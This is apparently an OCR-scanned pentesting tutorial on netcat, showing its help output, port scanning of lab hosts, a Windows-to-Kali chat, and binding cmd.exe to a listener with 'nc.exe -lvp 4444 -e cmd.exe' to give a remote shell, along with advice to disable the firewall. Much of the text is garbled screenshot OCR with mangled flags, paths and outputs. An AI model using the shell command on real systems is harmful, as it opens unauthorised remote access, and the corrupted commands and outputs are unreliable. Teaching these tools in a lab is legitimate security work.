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Netcat for Pentester

“Whether it is port scanning or to get a reverse shell, everything is
possible with Netcat.” Today in this article we will be exploring one of the
most commonly used network utility and will learn how the other
frameworks reinforce “Netcat” in order to generate a session.
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Introduction:

Netcat technically used as “nc” - is a network utility that uses the TCP and
UDP connections in order to read and write in a network. It can be used by
both the attackers and the security auditors.
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Counting in the attacking scenario, this cross-functional tool can be driven
by scripts which makes it quite dependable and if we discuss the security
section, it helps us to debug and investigate the network.

Why netcat is such dependable, that it can do everything whether it is port
scanning, banner grabbing, transferring a file, or even generating a
reverse connection?

Let’s check out the major netcat features and unlock this question.

It acts as a simple TCP/UDP/SCTP/SSL client for interacting with web
servers, telnet servers, mail servers, and other TCP/IP network services.

It redirects the TCP/UDP/SCTP traffic to other ports or hosts by acting as
a SOCKS or HTTP proxy such that the clients specify their own
destinations.

Netcat can even connect to destinations through a chain of anonymous or
authenticated proxies.

Encrypts communication with SSL, and transport it over IPv4 or IPvé6.

It acts as a connection broker, allowing two (or far more) clients to
connect to each other through a third (brokering) server.

So uptill now, you might be aware of all the features that Netcat has, which
makes it unique and simple.

Let's try to dig deeper and explore what we can more do with this great
tool.

Netcat basic command

“Help” or sometimes its “h”, this flag drops out every possible option that a
tool can do for us. To start with netcat, we’ll be using the most basic help
command i.e. :

g
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To start netcat:

nc -h

Port Scanning:

Netcat can be used as a port scanner, although it was not designed to
function as. To make it worth as a scanner, we need to set the “-z” flag, which
tells netcat, to scan listing daemon without sending any data. This makes it
possible to understand the type of service that is running on that specific port.
Thus netcat can perform both the TCP and the UDP scan, let’s check it out how:

®
[vl1.10-46]
connect to somewhere: nc [-options] hostname port[s] [ports]
listen for inbound: nc -1 -p port [-options] [hostname] [port]
options:
-c shell commands as -e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous !!
) allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12,
-h this cruft
-i secs delay interval for lines sent, ports scanne
-k set keepalive option on socket
-1 listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
) hex dump of traffic
) local port number
-r randomize local and remote ports
-q quit after EOF on stdin and delay of secs
-S local source address

Scanning Ports with Netcat
One of the most basic and common uses of Netcat is to determine which ports are
open. There are three primary flags used for port scanning:

-Z Enables nc to scan for listening daemons, without sending any data to
them

-V FEnables verbose mode

-w Used when there is a need to specify a time-out condition
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@ ~
6 2 z 192.168.208.130 21

z: forward host lookup failed: Unknown host

® ~
2 z 192.168.208.130 21 22 23

z: forward host lookup failed: Unknown host

® ~
2 z 192.208.132. 21 22 23

z: forward host lookup failed: Unknown host

@ o

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

EUNHNbWN] [192.168
e
EUNHNbWN] [192.168
o

(UNKNOWN) [192
(UNKNOWN) [192

nicrosoft-ds) open
(netbios-ssn) open
(epmap) open

Chat via Netcat:

Step1:
Download Netcat in windows
https://joncraton.org/blog/46/netcat-for-windows/
Disable firewall before Downloading...
After download extract the file and install in your windows machine password
is “nc” after installation right click on nc file and copy the file path and paste it
on windows cmd after that turn on listing port in windows by typing below
command :

nc -lvp <listing port>

Example: nc -lvp 4444
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https://joncraton.org/blog/46/netcat-for-windows/

MName
Type of file:  Application (exe)
|| doexec.c
) Description:  nc

__| generic.h
LI getopt.c Location:
| getopt.h Undo

hobbit Size: 60.0 KB {61,440 bytes)

obbi -

j— . Cut

licenze Size ondisk:  60.0 KB (67,440 bytes)
= Copy
O ke
" e Created: Wednesday, December 29, 2004, 1:.07:18 F Paste
| netcat.c Modfied:  Today. August 07, 2021, 35 minutes ago Delete
|| password is nc Accessed:  Wednesday, December 29, 2004, 1:07:18 F Select All

Bl C:\Windows\system32\cmd.exe - nc.exe -lvp 4444 -e cmd.exe
Microsoft Windows [Uersion 6.1.76881]

Copyright <c> 20@? HMicrosoft Corporation. All rights reserved.

C:sUzeprsswikram solanki.Windows?>cd
Hint

C:~Users~UITKRAMN™1 . UIN~AppData~LocalsTempsncliint>dir
Uolume in drive C has no lahbel.
Uolume Serial Wumber iz 16A7-EBEA

Directory of| C:xUserssUIKRAM™1 .WIN~AppDatasLocalsTempsnclilint

A8 -A7-2821 B4:308 <DIR> -
A8 -A7-2821 B4:308 <DIR>
A8 -A7-2821 B4:308
A8 -A7-2821 B4:308
A8 -A7-2821 B4:308
A8 A7-2021 B4:30

12,166 doexec.c
7,283 generic.h
22,784 getopt.c
4,765 getopt.h

StepZ2:

(=[O )

:\Users\UIHFIHI‘I""i.l.-lII'I\Hm:nData\Ll:it:al\Teml:n\ntzi'E

| C:\Users\UTKRAN™1 .WIN\AppDataLocalrTenphnc

Open terminal on kali machine and type nc <target ip> <same port>

Examples:
nc192.168.208.130 4444

root@kali: ~ =

root@kali: ~ =

All rights reserved.

C:\Users“\WIKRAM~1.WIN\AppData\Loc
dir
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Now you can chat to each other

How to send windows cmd to kali machine?

ER C\Windows\system32\cmd.exe - nc.exe -hvp 4444 -e emd exe

HE-A7-2821 ©4:38 PH 61,448
A8 -/A7-2821 ©4:38 PH 69,662
A8 -/A7-2821 ©4:38 PH a
Ag-@7-2821 B4:38 PH 6,833

nc.exe
netcat.c
password is nc
readme . txt

11 File<s>» 265,266 hytes
2 Dirds)> 54,.825,.347.872 hytes free

C:~Users~UIKRAM™1 .UIN~AppDatasLocal~Tempsncllintinc.exe —lup 4444

listening on [anyl 4444 ..

172.168.288.132: inverse host lookup failed: h_errno 116884: NO_DATA

connect to [192.168.288.1381 from (UMKNOUN} [192.168.2688.1321 41756:

hello
~C

(=[O )

NO_DATA

C:~Users~UIKRAM™1 . UIN~AppData~LocalsTempsncliint>nc.exe —luvp 4444 —e cmd.exe

listening on [anyl 4444 ..

192.168.288.132: inverse host lookup failed: h_errno 11884: NO_DATA
connect to [192.168.208.1381 from (UNKNOWN)» [192.168.288.1321 41758: NO_DATA

Type nc.exe -lvp <port number> -e cmd.exe

nc.exe -lvp 4444 -e cmd.exe

Microsoft Windows [Version 6.1.7600]
Copyright (c,; @9 Microsoft Corporation.

~1.WIN'
i~1.WI

Volume in drive C has no label.
Volume Serial Number is 16A7-E8B@

Directory of C:\Users\VIKRAM~1.WIN\AppData‘\Local\Temp\nclllnt

<DIR>
<DIR>

All rights reserved.
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